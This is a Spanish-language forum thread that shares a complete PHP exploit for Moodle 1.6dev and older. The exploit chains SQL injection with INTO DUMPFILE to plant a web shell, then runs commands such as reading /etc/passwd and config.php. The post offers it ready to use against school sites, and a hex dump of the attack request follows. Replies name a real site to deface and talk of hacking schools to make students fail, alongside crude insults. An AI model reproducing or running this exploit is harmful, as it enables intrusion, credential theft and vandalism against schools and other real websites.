• ¿Quieres apoyar a nuestro foro haciendo una donación?, entra aquí.

Moodle <= 1.6dev SQL Injection / Command Execution Exploit

  • Autor de tema pastelin654
  • Fecha de inicio
P

pastelin654

Guest
Jojo !!! Mooddle es muy utilizado en sistemas de webs de colegios, para ayuda del estudiante etc

salio una nueva vulnerabilidad y aki tenemos el exploit en php, tan solo subanlo a un server ke soporte php y ya =)



Código:
<?php
#   moodle16dev_xpl.php                                 4.19 10/11/2005        #
#                                                                              #
#           Moodle <= 1.6dev get record()  SQL injection /                     #
#                   / remote commands execution                                #
#                              by rgod                                         #
#                  site: http://rgod.altervista.org                            #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun-Tzu:"If your opponent is of choleric temper, seek to irritate him.      #
#  Pretend to be weak, that he may grow arrogant."                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>Moodle 1.6dev  SQL Injection /remote cmmnds xctn</title>
<meta http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style
type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">
Moodle <= 1.6dev    remote      commands        xcution           </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text"   name="host">
<span class="Stile5">hostname (ex: www.sitename.com)  </span>   </p> <p>  <input
type="text" name="path"><span class="Stile5">  path ( ex:  /moodle/  or just /)
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5">    path
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement
(default: ../../www) </span></p><p><input type="text" name="port" >        <span
class="Stile5"> specify a port other than 80 (default value)</span>      </p><p>
<input type="text" name="command"> <span  class="Stile5">a Unix command ,
example: ls -la  to list directories, cat /etc/passwd to show passwd file,   cat
config.php to see database username and password</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"
value="go!"></p></form></td></tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>&nbsp&nbsp</td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "
";
}
else //fixed some errors in this function
{ if ($proxy=='')
{
echo "Attempting to connect to ".$host." on port ".$port."...
";
$result = socket_connect($socket, $host, $port);
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';die;}
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

";
}
else
{
echo "OK.

";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:
";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen($host,$port);
if (!$ock) { echo 'No response from '.htmlentities($host).' ...'; die;}
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...'; die;}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

function execute_commands()
{
global $p, $host, $port, $packet, $command, $html;
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: CLose\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }
else {echo "Exploit failed...";}
}


if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE '[path][file]', two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";

$SQL="'UNION SELECT 0,'".$SHELL."',0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course_categories/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/category.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/info.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_user/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."iplookup/ipatlas/plot.php?address=127.0.0.1&user=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?>



saludos, consultas aka
 
PHP:
47 45 54 20 2f 63 6f 75 72 73 65 2f 63 61 74 65    G E T  / c o u r s e / c a t e 
67 6f 72 79 2e 70 68 70 3f 69 64 3d 25 32 37 55    g o r y . p h p ? i d = % 2 7 U 
4e 49 4f 4e 2b 53 45 4c 45 43 54 2b 30 25 32 43    N I O N + S E L E C T + 0 % 2 C 
25 32 37 25 33 43 25 33 46 70 68 70 2b 65 72 72    % 2 7 % 3 C % 3 F p h p + e r r 
6f 72 5f 72 65 70 6f 72 74 69 6e 67 25 32 38 30    o r _ r e p o r t i n g % 2 8 0 
25 32 39 25 33 42 69 6e 69 5f 73 65 74 25 32 38    % 2 9 % 3 B i n i _ s e t % 2 8 
25 32 32 6d 61 78 5f 65 78 65 63 75 74 69 6f 6e    % 2 2 m a x _ e x e c u t i o n 
5f 74 69 6d 65 25 32 32 25 32 43 30 25 32 39 25    _ t i m e % 2 2 % 2 C 0 % 2 9 % 
33 42 65 63 68 6f 2b 25 32 32 48 69 2b 4d 61 73    3 B e c h o + % 2 2 H i + M a s 
74 65 72 2b 25 32 32 25 33 42 73 79 73 74 65 6d    t e r + % 2 2 % 3 B s y s t e m 
25 32 38 25 32 34 5f 47 45 54 25 35 42 63 6d 64    % 2 8 % 2 4 _ G E T % 5 B c m d 
25 35 44 25 32 39 25 33 42 25 33 46 25 33 45 25    % 5 D % 2 9 % 3 B % 3 F % 3 E % 
32 37 25 32 43 30 25 32 43 30 25 32 43 30 25 32    2 7 % 2 C 0 % 2 C 0 % 2 C 0 % 2 
43 30 25 32 43 30 25 32 43 30 2b 49 4e 54 4f 2b    C 0 % 2 C 0 % 2 C 0 + I N T O + 
44 55 4d 50 46 49 4c 45 2b 25 32 37 2e 2e 25 32    D U M P F I L E + % 2 7 . . % 2 
46 2e 2e 25 32 46 77 77 77 25 32 46 73 68 65 6c    F . . % 2 F w w w % 2 F s h e l 
6c 2e 70 68 70 25 32 37 2b 46 52 4f 4d 2b 6d 64    l . p h p % 2 7 + F R O M + m d 
6c 5f 63 6f 75 72 73 65 5f 63 61 74 65 67 6f 72    l _ c o u r s e _ c a t e g o r 
69 65 73 25 32 46 25 32 41 20 48 54 54 50 2f 31    i e s % 2 F % 2 A  H T T P / 1 
2e 30 0d 0a 48 6f 73 74 3a 20 68 74 74 70 3a 2f    . 0   H o s t :  h t t p : / 
2f 77 77 77 2e 75 6e 61 62 76 69 72 74 75 61 6c    / w w w .xxxxxxxxxx
2e 63 6c 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a    . c l   C o n n e c t i o n : 
20 43 6c 6f 73 65 0d 0a 0d 0a                       C l o s e

Será otra versión? :S
 
w w w .xxxxxxxxxx . c l


esa web no existe bro, como quieres ke se haga la inyeccion ? =S
 
Sigue oprativo este sistema o ha sido corregido el fallo?

A mi si que me funciona el codigo, pero no se que rutas debo poner para la web en cuestión...

www. aprendeaprogramar .com

Pliz, no le hagais nada a esa web!!

Si eso, si sabeis, decidme las rutas, para que les gaste una bromita en el index...

Gracias, un saludo
 
me sale lo mismo que el saint :S

y eso que probe como en 20 sistemas (no solo de chile :S)

que mala
 
jmjosebest dijo:
Sigue oprativo este sistema o ha sido corregido el fallo?

A mi si que me funciona el codigo, pero no se que rutas debo poner para la web en cuestión...

www. aprendeaprogramar .com

Pliz, no le hagais nada a esa web!!

Si eso, si sabeis, decidme las rutas, para que les gaste una bromita en el index...

Gracias, un saludo



Nadie me puede ayudar???

:(
 
ah chit, deja tu pregunta mas clara, ando medio aweonao


saludos.
 
a verr..... veamo :P
::multipost::​
emmmm en todos las paginas me da el mismo codigo que al otro lokito...
 
Más Weon es el que no pregunta....

Que Hace exacatmente??...
 
que son pesah las maracas...
si pregunte fue porque no me quedo claro arriba y kiero saber los que hace exactamente el exploit....

en too caso ya me resigne maricones culiaos.... jajaj puteen no+...
 
alguien que informe de colegios que usen la wea, pa ver si puedo dejar repitiendo a un curso ajajaj
 
Volver
Arriba